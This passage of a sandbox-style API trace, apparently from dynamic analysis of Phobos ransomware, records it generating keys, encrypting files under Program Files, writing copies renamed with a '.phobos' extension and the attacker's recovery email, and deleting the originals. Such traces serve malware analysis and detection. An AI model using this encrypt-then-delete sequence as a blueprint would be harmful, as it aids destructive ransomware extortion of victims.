dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.647] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=232) returned 1 [0050.648] CloseHandle (hObject=0x318) returned 1 [0050.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0050.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.650] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.651] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=230) returned 1 [0050.651] CloseHandle (hObject=0x318) returned 1 [0050.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0050.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.652] SetEvent (hEvent=0x2e8) returned 1 [0050.652] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.700] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7505) returned 1 [0050.700] CloseHandle (hObject=0x318) returned 1 [0050.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0050.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.701] SetEvent (hEvent=0x2e8) returned 1 [0050.701] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.702] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8590) returned 1 [0050.702] CloseHandle (hObject=0x318) returned 1 [0050.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0050.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.703] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.703] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.706] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0050.706] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.706] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x218e, lpOverlapped=0x0) returned 1 [0050.729] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2190, dwBufLen=0x2190 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2190) returned 1 [0050.729] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2190, lpOverlapped=0x0) returned 1 [0050.730] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0050.730] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.730] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0050.730] CryptDestroyKey (hKey=0x10caf0) returned 1 [0050.730] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0050.730] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0050.730] CloseHandle (hObject=0x318) returned 1 [0050.731] CloseHandle (hObject=0x31c) returned 1 [0050.731] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0050.732] SetEvent (hEvent=0x2e8) returned 1 [0050.732] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.733] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=15276) returned 1 [0050.733] CloseHandle (hObject=0x31c) returned 1 [0050.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0050.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.733] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.733] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.734] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0050.734] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.734] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3bac, lpOverlapped=0x0) returned 1 [0050.810] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3bb0, dwBufLen=0x3bb0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3bb0) returned 1 [0050.810] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3bb0, lpOverlapped=0x0) returned 1 [0050.813] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cfb0) returned 1 [0050.813] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.813] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0050.813] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0050.813] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0050.813] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0050.813] CloseHandle (hObject=0x31c) returned 1 [0050.814] CloseHandle (hObject=0x318) returned 1 [0050.815] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0050.816] SetEvent (hEvent=0x2e8) returned 1 [0050.816] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.816] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=12250) returned 1 [0050.816] CloseHandle (hObject=0x318) returned 1 [0050.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0050.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.816] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.816] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.817] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0050.817] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.817] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2fda, lpOverlapped=0x0) returned 1 [0050.830] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2fe0) returned 1 [0050.830] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2fe0, lpOverlapped=0x0) returned 1 [0050.831] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0050.831] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.831] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0050.831] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0050.831] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0050.832] CryptDestroyKey (hKey=0x10ce30) returned 1 [0050.832] CloseHandle (hObject=0x318) returned 1 [0050.832] CloseHandle (hObject=0x31c) returned 1 [0050.833] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0050.834] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.835] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=153) returned 1 [0050.835] CloseHandle (hObject=0x31c) returned 1 [0050.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0050.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.836] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.836] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0050.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.842] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0050.842] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.842] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x99, lpOverlapped=0x0) returned 1 [0050.843] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0, dwBufLen=0xa0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0) returned 1 [0050.843] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa0, lpOverlapped=0x0) returned 1 [0050.846] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbf0) returned 1 [0050.846] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0050.846] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0050.846] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0050.846] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0050.846] CryptDestroyKey (hKey=0x10d170) returned 1 [0050.846] CloseHandle (hObject=0x31c) returned 1 [0050.846] CloseHandle (hObject=0x2e4) returned 1 [0050.854] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0051.000] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.000] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=153) returned 1 [0051.000] CloseHandle (hObject=0x2e4) returned 1 [0051.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0051.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.001] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.002] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.005] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf70) returned 1 [0051.005] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.005] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, 